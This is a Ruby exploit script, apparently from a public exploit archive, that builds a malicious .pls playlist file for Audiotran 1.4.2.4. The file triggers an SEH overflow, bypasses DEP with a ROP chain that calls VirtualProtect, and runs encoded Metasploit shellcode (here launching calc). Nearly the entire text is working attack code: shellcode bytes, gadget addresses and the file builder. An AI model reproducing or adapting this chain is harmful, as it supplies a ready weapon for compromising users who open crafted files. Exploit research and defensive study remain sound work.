Audiotran 1.4.2.4 SEH Overflow

`# Exploit Title: Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass)  
# Date: 09/20/10  
# Credit/Bug found by : Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com   
# Author: Muhamad Fadzil Ramli - mind1355 at gmail dot com   
# Software Link: http://www.e-soft.co.uk/Audiotran.htm   
# Version: 1.4.2.4   
# Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 r64453)  
# CVE: N/A  
# greetz to PVE (corelanc0d3r - great tutorial) & Intranium Pentester  
  
#! /usr/bin/env ruby  
  
# windows/exec - 144 bytes   
# http://www.metasploit.com   
# Encoder: x86/shikata_ga_nai   
# EXITFUNC=seh, CMD=calc   
  
payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"  
payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"  
payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"  
payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"  
payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"  
payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"  
payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"  
payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"  
payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"  
payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"  
payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"  
payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"  
payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"  
payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"  
payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"  
payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"  
  
head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D"  
junk1 = "A" * 264  
seh = [0x73512733].pack('V') # ADD ESP, 1004 # RETN [Module : MSVBVM60.DLL]  
retslide = [0x73512739].pack('V') * 624 # RETN SLIDE  
  
# ROP1  
rop1 = ''  
rop1 << [0x775BB15D].pack('V') # PUSH ESP # POP EDI # XOR EAX, EAX # POP EBX # POP ESI # POP EBP # RETN 8 [Module : ole32.dll]  
rop1 << "PPPP" * 3 # PADDING  
rop1 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll]  
rop1 << "PPPP" * 3 # PADDING  
rop1 << [0x055FB8D2].pack('V') # ADD ESP, 20 # RETN [Module : threed32.ocx]  
# END  
  
# VIRTUALPROTECT  
params = ''  
params << [0x7C801AD4].pack('V') # VirtualProtect  
params << 'WWWW' # return address (param1)  
params << 'XXXX' # lpAddress (param2)  
params << 'YYYY' # Size (param3)  
params << 'ZZZZ' # flNewProtect (param4)  
params << [0x10051005].pack('V'); # writeable address  
params << 'PPPP' * 2  
# END  
  
# ROP2  
# WRITE PARAM 1  
# ADD ESP,20 LANDS HERE  
rop2 = ''  
rop2 << [0x73511C1F].pack('V') # PUSH EDI # ADD AL, 5F # POP ESI # POP EBP # POP EBX # RETN [Module : MSVBVM60.DLL]  
rop2 << "PPPP" * 2 # PADDING  
rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll]  
rop2 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll]  
rop2 << "PPPP" # PADDING  
rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4  
rop2 << "PPPP" # PADDING  
rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll]  
rop2 << "PPPP" * 2  
# END  
  
# WRITE PARAM 2  
rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll]  
rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4  
rop2 << "PPPP" # PADDING  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << "PPPP" # PADDING  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll]  
rop2 << "PPPP"  
# END  
  
# WRITE PARAM 3  
rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll]  
rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll]  
rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll]  
rop2 << "PPPP" # PADDING  
rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll]  
rop2 << "PPPP" # PADDING  
rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll]  
rop2 << "PPPP" # PADDING  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll]  
rop2 << "PPPP"  
# END  
  
# WRITE PARAM 4  
rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll]  
rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll]  
rop2 << [0x77C4EC1D].pack('V') # ADD EAX, 40 # POP EBP # RETN [Module : msvcrt.dll  
rop2 << "PPPP" # PADDING  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll]  
rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll]  
rop2 << "PPPP"  
# END  
  
# POINT ESP TO VIRTUALPROCTECT  
rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL]  
rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL]  
rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL]  
rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL]  
rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL]  
rop2 << [0x27598BEE].pack('V') # XCHG EAX, ESP # RETN [Module : Mscomctl.ocx]  
# END  
  
nops = "\x90" * 300  
junk2 = "C" * (10000 - (head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload).length)  
data = head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload + junk2  
  
File.open("crash.pls", 'w') do |b|   
b.write data  
puts "file size : " + data.length.to_s  
end  
  
`